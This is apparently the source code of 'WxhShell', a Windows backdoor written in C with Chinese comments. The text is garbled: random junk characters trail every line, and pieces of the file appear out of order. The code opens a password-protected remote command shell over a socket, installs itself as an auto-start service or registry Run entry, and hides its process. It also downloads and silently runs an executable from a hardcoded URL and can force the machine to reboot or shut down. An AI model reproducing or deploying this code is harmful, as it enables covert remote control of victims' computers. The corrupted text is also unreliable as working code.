    if(Boot(SHUTDOWN)) AmT| %j&3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Rxvd+8FF  
    else { {Y3_I\H8{  
    closesocket(wsh); 9#Aipu\  
    ExitThread(0); 0[Xt,~  
    } mV:RmA  
    break; t6<sNz F&  
    } C>w9 {h  
  // 获取shell a`EGx{q(  
  case 's': { :Fi%Cef|  
    CmdShell(wsh); 1^x2WlUm4  
    closesocket(wsh); c{m ;"ZCFS  
    ExitThread(0);  =BqaGXr  
    break; BDRYip[Sa  
  } dPH! V6r  
  // 退出 eZR8<Z %  
  case 'x': { h 0QYoDvbC  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); L6[rvM|9_  
    CloseIt(wsh); g9([3pV,  
    break; D<_,>{$gW  
    } fncwe ';?  
  // 离开 T}w*K[z $  
  case 'q': { @Q$ /eL  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7'{Yz  
    closesocket(wsh);  z~}StCH(  
    WSACleanup(); =XacG}_  
    exit(1); D)O6| DiO  
    break; aV?}+Y{#  
        } NDIc?kj~  
  } !dbA (  
  } RXx?/\~yd;  
w}U5dM`  
  // 提示信息 0'q(XB`i=  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8JtI&aH-L  
} Wy^[4|6  
  } l|ZzG4]+l  
WnJLX ^;  
  return; ir@N>_  
} XftJ=  *  
+}(B856+  
// shell模块句柄 3Q*RR"3  
int CmdShell(SOCKET sock) l9ifUh e  
{ !7ZfT?&  
STARTUPINFO si; 9A} kkMB:  
ZeroMemory(&si,sizeof(si)); hBfzU\*0H  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; H%NLL4&wu  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; G7_"^r%c9;  
PROCESS_INFORMATION ProcessInfo; %8} ksl07  
char cmdline[]="cmd"; o. V0iS]  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); o$blPTN  
  return 0; g]iy-,e  
} qh(-shZ4Du  
UB&S 2g  
// 自身启动模式 L"[wa.<  
int StartFromService(void) S!I <m&Cgc  
{ p=`x  
typedef struct Pu%>j'A  
{ #Rm=Em}d  
  DWORD ExitStatus; @'<j!CqQ o  
  DWORD PebBaseAddress; 2GD mZl  
  DWORD AffinityMask; }_kI>  
  DWORD BasePriority; $NGtxZp  
  ULONG UniqueProcessId; $jeDVH  
  ULONG InheritedFromUniqueProcessId; P"PeL B9K  
}   PROCESS_BASIC_INFORMATION; E'BH7JV  
E-U;8cOMv  
PROCNTQSIP NtQueryInformationProcess; 7Yw\%}UL  
w7t"&=pF7  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )V$!  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |v %RjN  
! ^*;c#  
  HANDLE             hProcess; #L4Kwy  
  PROCESS_BASIC_INFORMATION pbi; !,JT91  
Pl5NHVr  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); agxSb^ 8tF  
  if(NULL == hInst ) return 0; KlqJ EtO_  
/qhm9~4e3  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >/HU'  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); *6x^w%=A  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <# x%A0  
>->xhlL*  
  if (!NtQueryInformationProcess) return 0; s8_NN  
\PMKmJ X0O  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); soVZz3F  
  if(!hProcess) return 0; gS<{ekN  
X3=Jp'p$h  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; vb ^!(  
/ -qt}  
  CloseHandle(hProcess); /'=^^%&:B  
F']%q 0  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ; 7v7V  
if(hProcess==NULL) return 0; &Cpxo9-  
yJ`1},^  
HMODULE hMod; *(q8?x0>  
char procName[255]; D*r Zaqy  
unsigned long cbNeeded; |&RX>UW$W  
}}bi#G:R+  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); H6CGc0NS+  
;s B:s9M  
  CloseHandle(hProcess); $No>-^ )  
(kNTXhAr4  
if(strstr(procName,"services")) return 1; // 以服务启动 % m5^p  
Yl~?MOk  
  return 0; // 注册表启动 3k[<4-  
} 3) Awj++  
+-YuBVHL  
// 主模块 M j%|'dZz  
int StartWxhshell(LPSTR lpCmdLine) (5DGs_>  
{ yr 9)ga%  
  SOCKET wsl; !#gE'(J;c  
BOOL val=TRUE; Qufv@.'AY  
  int port=0; ~+iJpW  
  struct sockaddr_in door; Csm!\ I  
z,x"vK(  
  if(wscfg.ws_autoins) Install(); QT l._j@  
${6'  
port=atoi(lpCmdLine); <RVtLTd/  
} 9s  
if(port<=0) port=wscfg.ws_port; A*U'SCg(G  
R9-JjG2v  
  WSADATA data; : It W|  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; R*{?4NKG  
?BvI/H5d  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^(JbJ@m/  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); p#BvlS=D  
  door.sin_family = AF_INET; s /q5o@b{  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 7b%Cl   
  door.sin_port = htons(port); ~teW1lMu(  
D#[ :NXahn  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Z=[a 8CU  
closesocket(wsl); 207oE O]  
return 1; v/+}FS=  
} O36r ,/X  
3Wxtxk._E  
  if(listen(wsl,2) == INVALID_SOCKET) { < LAD  
closesocket(wsl); nGgc~E$j  
return 1; U`_vF~el~  
} Zw\V}uXI?  
  Wxhshell(wsl); PR6uw  
  WSACleanup(); !:[n3.vm   
VCRv(Ek  
return 0; ?s} E<Kr  
!TZ/PqcE  
} /G+gk0FW  
rh&Eu qE%  
// 以NT服务方式启动 m1i$>9,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )nxIxr0d-  
{ )qXe`3 d5  
DWORD   status = 0; <qY>d,+E'  
  DWORD   specificError = 0xfffffff; pv SFp-:_  
uCS  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 6YGr"Kj &  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; u$p|hd d  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6mpUk.M"  
  serviceStatus.dwWin32ExitCode     = 0; >&Q. .`q  
  serviceStatus.dwServiceSpecificExitCode = 0; tKGsrgoV  
  serviceStatus.dwCheckPoint       = 0; d'fpaLV  
  serviceStatus.dwWaitHint       = 0; q\Kdu5x{  
4!%LD(jB`B  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =Fl4tY#X  
  if (hServiceStatusHandle==0) return; (HKm2JuFG  
Gn4b\y%%  
status = GetLastError(); &uW.V+3  
  if (status!=NO_ERROR) =@XR$Uud6  
{ 0\*<k`dY  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; .tsB$,/  
    serviceStatus.dwCheckPoint       = 0; nDw9  
    serviceStatus.dwWaitHint       = 0; 1V?)zp  
    serviceStatus.dwWin32ExitCode     = status; J"|$V#  
    serviceStatus.dwServiceSpecificExitCode = specificError; UF&Wgj [  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); EA#!h'-s  
    return; FuBRb(I  
  } (9|K}IM:  
YU(x!<Z  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; JdEb_c3S  
  serviceStatus.dwCheckPoint       = 0; Av]N.HB$  
  serviceStatus.dwWaitHint       = 0; L-dKZ8Q  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); n\9*B##  
} y-k-E/V}  
x%&V!L  
// 处理NT服务事件,比如:启动、停止 7B`0mK3  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %*=FLtBjo  
{ kICYPy  
switch(fdwControl) <:-&yDh u  
{ q[K)bg{HB  
case SERVICE_CONTROL_STOP: ,1L^#?Q~  
  serviceStatus.dwWin32ExitCode = 0; b1!%xdy_T  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; `<G+ N  
  serviceStatus.dwCheckPoint   = 0; c[q3O**  
  serviceStatus.dwWaitHint     = 0; w2GY,,R  
  { $hh=-#J8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &LYZQ?|  
  } H5)WxsZ R  
  return; "H@AT$Ny(  
case SERVICE_CONTROL_PAUSE: 8~&v\GDkF  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; E;0"1 P|S  
  break; +.St"f/1  
case SERVICE_CONTROL_CONTINUE: ?zqXHv#x  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; nr;/:[F  
  break; zV#k #/$  
case SERVICE_CONTROL_INTERROGATE: '/?&Gol-  
  break; \W!<xE  
}; 1|CO>)*D  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); QKxu vW  
} d"a`?+(Q  
~Tolz H!  
// 标准应用程序主函数 (?(ahtT4T  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ga1RMRu+  
{ M Cz3RZK  
e2v,#3Q\  
// 获取操作系统版本 O.!?O(  
OsIsNt=GetOsVer(); w*0T"hK  
GetModuleFileName(NULL,ExeFile,MAX_PATH); X8<ygci+.5  
N !:&$z-  
  // 从命令行安装 ;F5%X\ t-  
  if(strpbrk(lpCmdLine,"iI")) Install(); Ghz)=3  
MwZ`NH|n3"  
  // 下载执行文件 42~;/4  
if(wscfg.ws_downexe) { KT}}=st%  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4 Q.70  
  WinExec(wscfg.ws_filenam,SW_HIDE); Z|.. hZG  
} G[<iVt$y  
&fWZ%C7|jC  
if(!OsIsNt) { SVJ3!1B,  
// 如果时win9x,隐藏进程并且设置为注册表启动 ^?,/_3  
HideProc(); e_e|t>nQ  
StartWxhshell(lpCmdLine); ' x|B'  
} RV~w+%f  
else I]h+24_S  
  if(StartFromService()) DvGtO)5._  
  // 以服务方式启动 ]yyfE7{q  
  StartServiceCtrlDispatcher(DispatchTable); 2w%1\TcB$  
else 9r!%PjNvE  
  // 普通方式启动 ,}[,]-nVx  
  StartWxhshell(lpCmdLine); 0&Qn7L  
6sntwT"?  
return 0; 7dLPy[8";t  
} _ ge3R3  
= hpX2/]  
hFKYRZtP.8  
M@.1P<:h  
=========================================== 6w54+n  
mu(S 9  
<I} k%q'  
{It4=I)M  
-y~JNDS1]  
FQ[::*-  
" y|X[NSA  
*l|CrUa  
#include <stdio.h> |_-FQ~Hf F  
#include <string.h> H|Eu,eq-E  
#include <windows.h> ^<< Wqmx  
#include <winsock2.h> 7Y_S%B:F  
#include <winsvc.h> xi-^_I  
#include <urlmon.h> R+5x:mpHy  
^ c:(HUo#  
#pragma comment (lib, "Ws2_32.lib") K,J:i^2  
#pragma comment (lib, "urlmon.lib") yNO5h]o  
H>VuUH|  
#define MAX_USER   100 // 最大客户端连接数 %lvSO/F+  
#define BUF_SOCK   200 // sock buffer e+S%` Sg  
#define KEY_BUFF   255 // 输入 buffer D:%v((Ccw  
iNha<iS+  
#define REBOOT     0   // 重启 |n0 )s% 8`  
#define SHUTDOWN   1   // 关机 l( "_JI  
I'C{=?  
#define DEF_PORT   5000 // 监听端口 {>Zc#U'  
#Ez>]`]TB  
#define REG_LEN     16   // 注册表键长度 ~v2_vEu}JX  
#define SVC_LEN     80   // NT服务名长度 2@=JIMtc  
/mvuSNk  
// 从dll定义API H!,#Z7s  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 7j5l?K-  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Riw#+#r]/  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); " GgK,d}%  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =d`,W9D  
Qb6s]QZEV  
// wxhshell配置信息 3nxJ`W5j  
struct WSCFG { 5PG%)xff*  
  int ws_port;         // 监听端口 @2]_jW  
  char ws_passstr[REG_LEN]; // 口令  &+u$96  
  int ws_autoins;       // 安装标记, 1=yes 0=no *l^h;RSx  
  char ws_regname[REG_LEN]; // 注册表键名 Ly lw('zZ  
  char ws_svcname[REG_LEN]; // 服务名 J'|qFS  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 8 yQjB-,#  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Uk5jZ|  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ]k5l]JB  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 5nQ*%u\$Z  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" hQvSh\p  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ZEp UHdin  
B<x)^[<v  
}; Xh;Pbm|K  
@u#Tx%  
// default Wxhshell configuration 4l560Fb'U  
struct WSCFG wscfg={DEF_PORT, rXdI`l#  
    "xuhuanlingzhe", I HgYgn  
    1, lt[{u$  
    "Wxhshell", yuWoz*:t  
    "Wxhshell", ~bhesWk8!  
            "WxhShell Service", y7txIe!<5  
    "Wrsky Windows CmdShell Service", Vnlns2pQl  
    "Please Input Your Password: ", q0,Diouq  
  1, g`k_o<'JC  
  "http://www.wrsky.com/wxhshell.exe", +eg$Z]Lht  
  "Wxhshell.exe" %s6|w=.1  
    }; {=VauF  
I6ffp!^}Y  
// 消息定义模块 a 39Kl_\  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; .n'z\] -/Q  
char *msg_ws_prompt="\n\r? for help\n\r#>"; J.N%=-8  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; =Wn11JGh  
char *msg_ws_ext="\n\rExit."; uW },I6g  
char *msg_ws_end="\n\rQuit."; 9l5l"Wj&  
char *msg_ws_boot="\n\rReboot..."; L&H 4fy!>  
char *msg_ws_poff="\n\rShutdown..."; CXwDG_e  
char *msg_ws_down="\n\rSave to "; ;9MsV.n  
c$ya{]a  
char *msg_ws_err="\n\rErr!"; .gh3"  
char *msg_ws_ok="\n\rOK!"; BrcT`MM[(=  
I@76ABu^  
char ExeFile[MAX_PATH]; \#Ez["mD  
int nUser = 0; VC,wQb1J/  
HANDLE handles[MAX_USER]; x>THyY[sq  
int OsIsNt; &_n~#Mex  
,{!~rSq-l  
SERVICE_STATUS       serviceStatus; `Hld#+R  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; }#va#Nb(,  
DdJ>1504  
// 函数声明 @y?<Kv}s  
int Install(void); UUA7m$F1  
int Uninstall(void); fx=aT  
int DownloadFile(char *sURL, SOCKET wsh); ZA:YoiaC#  
int Boot(int flag); Uh&MoIBs#  
void HideProc(void); ybB/sShGM  
int GetOsVer(void); H!s &]b  
int Wxhshell(SOCKET wsl); -i 6<kF-W  
void TalkWithClient(void *cs); 1UmV &  
int CmdShell(SOCKET sock); }_Jai4O  
int StartFromService(void); '2# O{  
int StartWxhshell(LPSTR lpCmdLine); oOSw> 23x  
-6DfM,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); F lbL`@4M  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); g*!2.P  
FK+jfr [  
// 数据结构和表定义 PUucYc  
SERVICE_TABLE_ENTRY DispatchTable[] = 0y6nMI  
{ A;{8\e  
{wscfg.ws_svcname, NTServiceMain}, c\-I+lMBi  
{NULL, NULL} /G</ [N5  
}; UWmWouA  
.dl1sv U  
// 自我安装 P 7gS M  
int Install(void) ( R Ttz  
{ } CQ GvH  
  char svExeFile[MAX_PATH]; x'n J_0  
  HKEY key; $|sRj!F  
  strcpy(svExeFile,ExeFile); ^<ayPV)+  
8m-ryr)  
// 如果是win9x系统,修改注册表设为自启动 f{ENSUtCrR  
if(!OsIsNt) { hOw7"'# !  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2<|+h= &  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a^~l[HSF  
  RegCloseKey(key); +vJ[k2d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Gu&zplB  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0*,r  
  RegCloseKey(key); Ie`kzssM  
  return 0; =mxmJFA  
    } "i<i.6|  
  } w4<RV:Vmt  
} l 'fUa  
else { ^sY ]N77  
O%AQ'['  
// 如果是NT以上系统,安装为系统服务 osB[KRT>("  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); wLAGe'GX  
if (schSCManager!=0) {a-p/\U  
{ ~Y<x-)R  
  SC_HANDLE schService = CreateService 4E}]>  
  ( MM"{ehd{^a  
  schSCManager, ExqI=k`Zs  
  wscfg.ws_svcname, B9`nV.a  
  wscfg.ws_svcdisp, V/j+Z1ZW  
  SERVICE_ALL_ACCESS, #(FG+Bk  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , }Y~o =3-  
  SERVICE_AUTO_START, lwIU|T<4  
  SERVICE_ERROR_NORMAL, r3<yG"J86  
  svExeFile, y&")7y/uE  
  NULL, m/r4f279  
  NULL, u~=>$oT't  
  NULL, 5 5>^H1M  
  NULL, ZMQSy7  
  NULL bm*Ell\a.  
  ); &uI`Xq.  
  if (schService!=0) 6H\3  
  { V)V\M6  
  CloseServiceHandle(schService); BY.' 0,H=k  
  CloseServiceHandle(schSCManager); ':lADUt  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); *D! $gfa  
  strcat(svExeFile,wscfg.ws_svcname); m{gx\a.5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { zp x  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _"6{Rb53v=  
  RegCloseKey(key); YIGQDj@  
  return 0; SxcNr5F   
    } >y#<WB$i  
  }  T},Nqt<  
  CloseServiceHandle(schSCManager); rwGY)9 |  
} ^\Gaf5{  
} 3yn>9qt  
xH!{;i  
return 1; @2c Gx/1#  
} %:yJ/&-Q,Z  
u snbGkq  
// 自我卸载 #Y`GWT1==  
int Uninstall(void) E+k#1c|v$  
{ vzA)pB~;  
  HKEY key; 9ar+Ph@*  
*oqQ=#\  
if(!OsIsNt) { |fkz=*rn  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $e1==@ R  
  RegDeleteValue(key,wscfg.ws_regname); {{w5F2b((%  
  RegCloseKey(key); & F\HR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :t+XW`eQR:  
  RegDeleteValue(key,wscfg.ws_regname); |{]W (/  
  RegCloseKey(key); T!u&r  
  return 0; U0G(  
  } J24<X9b  
} ]E$h7I  
} RuSKJ,T:9  
else { Q{1Q w'+@  
feSd%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); &g%9$*gmT  
if (schSCManager!=0) wxU@M1w}  
{ 3.>M=K~09  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @."_XL74  
  if (schService!=0) 7 06-QE^  
  { J3`a}LyDf  
  if(DeleteService(schService)!=0) { eK[8$1  
  CloseServiceHandle(schService); ErmlM#u  
  CloseServiceHandle(schSCManager); ([\mnL<FC  
  return 0; FJxg9!%d  
  } 6jz6   
  CloseServiceHandle(schService); L|O[u^  
  } ehe hTP  
  CloseServiceHandle(schSCManager); ;Qe-y|>  
} H8@1Kt  
} eW%Cef  
W>$2BsO  
return 1; _D<=Yo  
} KWwEK]   
CWF(OMA  
// 从指定url下载文件 Ik W 8$>  
int DownloadFile(char *sURL, SOCKET wsh) (SMnYh4  
{ R.nAD{>h*  
  HRESULT hr; PX!$w*q  
char seps[]= "/"; ^\o3V<  
char *token; oY)xXx  
char *file; /Mq9~oC  
char myURL[MAX_PATH]; \M$e#^g  
char myFILE[MAX_PATH];  rvP Y  
|AD" }8  
strcpy(myURL,sURL); K,B qVu  
  token=strtok(myURL,seps); LdAWCBLS  
  while(token!=NULL) \.!+'2!m  
  { aYy+iP'$  
    file=token; Tnd)4}2 p  
  token=strtok(NULL,seps); ::goqajV  
  } | R\PQ/)  
~bC-0^/ 8|  
GetCurrentDirectory(MAX_PATH,myFILE); 04o>POR  
strcat(myFILE, "\\"); 0Ncx':]5  
strcat(myFILE, file); 4\?z^^  
  send(wsh,myFILE,strlen(myFILE),0); 0[\sz>@  
send(wsh,"...",3,0); p"l GR&b  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); goa@ e  
  if(hr==S_OK) kh7RQbNY<I  
return 0; D5Z@6RVt  
else u4eA++ eT  
return 1; ! !KA9mP  
)~> C1<  
} Chso]N.1  
?**9hu\BG  
// 系统电源模块 o54/r#~fi  
int Boot(int flag) P]A~:Lj  
{ @XJzM]*w&  
  HANDLE hToken; L <QjkFj  
  TOKEN_PRIVILEGES tkp; L$xRn/\  
}';&0p2Z  
  if(OsIsNt) { r&[~/m8zl  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 1fy{@j(W  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); (+_J0i t  
    tkp.PrivilegeCount = 1; ,54<U~Lg:  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; O>GP>U?]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 0o]K6 b  
if(flag==REBOOT) { ]| y H8m  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) |-fx 0y   
  return 0; zT% kx:Fk  
} h[]N=X  
else { ,gvX ~k  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) r2th6hl~  
  return 0; 3$8}%?i  
} [UH5D~Yx  
  } 3(:mRb}  
  else { ; ]Aa  
if(flag==REBOOT) { I/aAx.q  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _&/Zab5  
  return 0; ?N ga  
} {Y[D!W2y  
else { l.x }I"tf  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 4m*(D5Y=|  
  return 0; pJz8e&wyLM  
} qt(:bEr^6b  
} AG7}$O.  
.;b> T  
return 1; v+#j>   
} M 9#QS`G  
v8Zg og)V  
// win9x进程隐藏模块 Q /c WV  
void HideProc(void) $kma#7  
{ {1aAm+  
>@U<?wP  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); G)hH?_U#T  
  if ( hKernel != NULL ) ?+5{HFx  
  { %g&,]=W\N  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); V|\A?   
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); xbC8Amo;8"  
    FreeLibrary(hKernel); KeI:/2  
  } {*;]I?9Al  
2^6TrZA7M6  
return; /K) b0QX  
} 51qIo4$  
rA,Y_1b *  
// 获取操作系统版本 jF{gDK  
int GetOsVer(void) id+m [']+  
{ 4AOS}@~W  
  OSVERSIONINFO winfo; I ~L Q1 _  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); npcBpGL{  
  GetVersionEx(&winfo); B" m:<@ "  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `B\KS*Gya#  
  return 1; i @9 Qb  
  else &8+6!TN7  
  return 0; 8EG8!,\I  
} 0ITA3v8{  
8[1DO1*P  
// 客户端句柄模块 _8li4;F  
int Wxhshell(SOCKET wsl) C.eV|rc@T  
{ ZqbM%(=z(`  
  SOCKET wsh; A Ok7G?Y  
  struct sockaddr_in client; h2|vB+W-  
  DWORD myID; z]l-?>Zbg  
8U<.16+5Q  
  while(nUser<MAX_USER) V> a3V'  
{ _RaVnMJKX4  
  int nSize=sizeof(client); e0N=2i?I#z  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); t7oz9fSz=?  
  if(wsh==INVALID_SOCKET) return 1; 9hR:y.  
-{8Q= N  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); :qCm71*  
if(handles[nUser]==0) c+b:K  
  closesocket(wsh); oyN+pFVB:$  
else y>7VxX0xi  
  nUser++; FJjF*2 .  
  } bpF@}#fT  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);  Z|:_ c  
GATP  
  return 0; &Qq/Xi,bZ  
} ;sL6#Go?V  
>OKS/(I0  
// 关闭 socket krr-ZiK  
void CloseIt(SOCKET wsh) K*Nb_|~  
{ F@_Egi  
closesocket(wsh); D)*_{   
nUser--; `FYtiv?G  
ExitThread(0); neB.Wu~WH  
} L^5&GcHP0  
^;)SFmjg%  
// 客户端请求句柄 U= c5zrs  
void TalkWithClient(void *cs) Nn,vdu{^2  
{ z6FbM^;;  
'TK$ndy;7}  
  SOCKET wsh=(SOCKET)cs; %|`:5s-T%  
  char pwd[SVC_LEN]; C NzSBm  
  char cmd[KEY_BUFF]; 3Y1TQ;i,wQ  
char chr[1]; F;?TR[4!k  
int i,j; 4uO @`0:x  
n~"g'Y  
  while (nUser < MAX_USER) { w>z8c3Dq}  
Imh2~rw;  
if(wscfg.ws_passstr) { uGP[l`f|FQ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f gK2.;>  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =e-a&Ep-z  
  //ZeroMemory(pwd,KEY_BUFF); H#kAm!H  
      i=0; u:AfHZ  
  while(i<SVC_LEN) { q(ZB.  
x%IXwP0  
  // 设置超时 k Z+q  
  fd_set FdRead; o7c%\v[  
  struct timeval TimeOut; _ bXVg3oDt  
  FD_ZERO(&FdRead); ONr?.MJ6j  
  FD_SET(wsh,&FdRead); ?;:9 W  
  TimeOut.tv_sec=8; mc0sdb,c$  
  TimeOut.tv_usec=0; F1?CqN M  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~!3t8Hx6  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); DGa#d_I  
R (tiIo  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ny!lj a5[  
  pwd=chr[0]; Njy9JX  
  if(chr[0]==0xd || chr[0]==0xa) { IKMs Y5i  
  pwd=0; xVsa,EX b  
  break; 6o[0sM_];  
  } J+/}K>2#  
  i++; ;1{iF2jZ:  
    } D+ah ok  
I<D&,LFH*w  
  // 如果是非法用户,关闭 socket T=eT^?v  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); WX%h4)z*  
} g^s+C Z  
 /gqqKUx  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %gV)arwK  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V9+xL 1U#  
tl{]gz  
while(1) { -,K*~ z.l  
'\ph`Run  
  ZeroMemory(cmd,KEY_BUFF); X;s 3y{ku  
* ajFZI  
      // 自动支持客户端 telnet标准   T!m42EvIvE  
  j=0; `7u\   
  while(j<KEY_BUFF) { 9l]UE0yTL/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %-h7Z3YcN  
  cmd[j]=chr[0]; Qv&T E3  
  if(chr[0]==0xa || chr[0]==0xd) { +l2e[P+qA  
  cmd[j]=0; paq8L{R  
  break; vbr~<JT=  
  } 89*S? C1  
  j++; w"fCI 13  
    } M*g2VyZ  
<ldid]o #  
  // 下载文件 4ggVj*{v  
  if(strstr(cmd,"http://")) { z7'n, [  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); P\D[n-&  
  if(DownloadFile(cmd,wsh)) H "Q(2I  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); b*lKT]D,  
  else DWF >b  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z 7`5x  
  } (P2[5d|  
  else { hWe}' L-  
UqD5 A~w  
